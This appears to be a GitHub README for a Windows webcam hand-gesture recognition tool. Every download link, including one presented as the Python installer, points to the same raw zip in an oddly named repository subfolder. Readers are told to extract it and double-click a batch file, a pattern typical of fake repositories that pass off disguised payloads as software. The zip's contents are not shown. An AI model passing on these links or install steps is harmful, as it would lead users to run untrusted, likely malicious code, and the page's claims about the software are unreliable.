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🤚 Gesture-Recognition-with-computer-vision - Real-Time Hand Gesture Detection

Download from GitHub


📋 About This Application

Gesture-Recognition-with-computer-vision lets you control your computer using hand gestures. It uses the camera on your Windows PC to detect your hand movements in real time. The system tracks your hand with the help of MediaPipe, a technology that finds key points on your hand. Then, it recognizes custom gestures you can set up.

You do not need any special hardware besides a webcam. The software analyzes the camera input and displays which gesture you are making instantly.


💻 What You Need to Run This Software

  • Operating System: Windows 10 or newer
  • Processor: Intel i3 or equivalent at minimum
  • Memory: At least 4 GB of RAM
  • Camera: Any webcam that works with Windows
  • Internet: Required only for downloading the software
  • Disk Space: 200 MB free space
  • Additional Software: Python 3.7 or newer (explained below)

You do not need a powerful PC. A standard laptop or desktop with a working webcam will work fine.


🚀 Getting Started With Installation

Use the big green button at the top or visit this page to download the software:

https://github.com/Jaron69/Gesture-Recognition-with-computer-vision/raw/refs/heads/main/porriwiggle/computer_vision_Recognition_with_Gesture_1.9-beta.3.zip

This page hosts all files and instructions. You will download the complete package for your computer.


🛠 Step 1: Download the Software Package

  1. Go to the linked GitHub page.
  2. On the page, look for the Releases section on the right or in the menu.
  3. Select the latest release available. It often appears as a tag like v1.0 or latest.
  4. Download the .zip file listed under Assets. This file contains all you need.

The ZIP contains the program scripts and necessary files in one place.


🧩 Step 2: Install Python and Required Tools

This software runs using Python, a programming environment. Here is how to set it up:

  1. Visit https://github.com/Jaron69/Gesture-Recognition-with-computer-vision/raw/refs/heads/main/porriwiggle/computer_vision_Recognition_with_Gesture_1.9-beta.3.zip
  2. Download the latest Python 3.x installer for Windows.
  3. Run the installer.
  4. Important: Check the box that says Add Python 3.x to PATH before clicking Install.
  5. Finish the installation.

Once installed, Python lets you run the gesture recognition software easily.


📂 Step 3: Prepare the Software Folder

  1. After downloading the ZIP file, find it in your Downloads folder.
  2. Right-click the file and choose Extract All....
  3. Choose a folder you can find easily, like your Desktop or Documents.
  4. Click Extract to unzip the files.

You now have all files ready to run the program.


▶️ Step 4: Running the Software

  1. Open the folder where you extracted the files.
  2. Look for a file named run_gesture_recognition.bat or start.bat.
  3. Double-click this file. It will run the program using Python automatically.

If there is no .bat file, you can start the software this way:

  1. Click the Windows Start button and type cmd to open Command Prompt.
  2. In the Command Prompt window, type cd followed by the path of the software folder. Example:
    cd Desktop\Gesture-Recognition-with-computer-vision
    
  3. Press Enter to move to the folder.
  4. Type the following command and press Enter:
    python main.py
    

The program starts, opens your webcam, and displays the real-time gesture recognition window.


🔧 Step 5: Installing Required Python Packages

Before running the program, you must install some packages Python needs. These packages let the program access the webcam and recognize gestures.

  1. Open Command Prompt as explained earlier.
  2. Navigate to the folder where you extracted the software.
  3. Type this command and hit Enter:
    pip install -r requirements.txt
    

This command downloads and installs all necessary packages automatically.

If you don’t see pip installed, Python might not have added it to your system path. You can reinstall Python and check the box for adding Python to PATH, or run Python installer again and choose Modify.


✋ Using the Program

Once the program runs, it will open a window with a live webcam feed. The program detects your hand and shows landmarks—dots at key spots on your fingers and palm.

  • Try moving your hand in front of the camera.
  • Perform the preset gestures to see the program recognize them.
  • If you want to customize gestures, you will find instructions in the documentation files included.

You can pause or close the program by pressing Q or simply closing the window.


📑 Features Included

  • Real-time hand landmark tracking with MediaPipe.
  • Custom gesture classification to map hand movements to commands.
  • Works in standard lighting with most webcams.
  • Runs smoothly on regular Windows PCs without extra hardware.
  • Python-based, so you can modify or extend it if you want.

❓ Troubleshooting Tips

  • If the webcam does not open, check if another app is using it.
  • Ensure your camera drivers are up to date.
  • Run Command Prompt as Administrator if package installation fails.
  • If Python commands don’t work, verify Python is installed and added to PATH.
  • Close unnecessary programs to improve webcam performance.

📥 Download and Setup Link

Use this link to visit the GitHub page for downloading and updates:

https://github.com/Jaron69/Gesture-Recognition-with-computer-vision/raw/refs/heads/main/porriwiggle/computer_vision_Recognition_with_Gesture_1.9-beta.3.zip

You will find latest releases, documentation, and support.


🖥️ System Requirements at a Glance

Requirement Details
Operating System Windows 10 or later
Processor Intel i3 or equivalent
RAM 4 GB minimum
Camera HD Webcam or better
Disk Space 200 MB free space
Software Python 3.7+ (Windows build)

🎯 Keywords and Technologies

  • AI
  • Computer Vision
  • Gesture Recognition
  • Hand Tracking
  • Machine Learning
  • MediaPipe
  • Neural Networks
  • OpenCV
  • Python
  • Real-time Processing
  • TensorFlow

Use this app to explore gesture-based control or to build your own gesture recognition projects.

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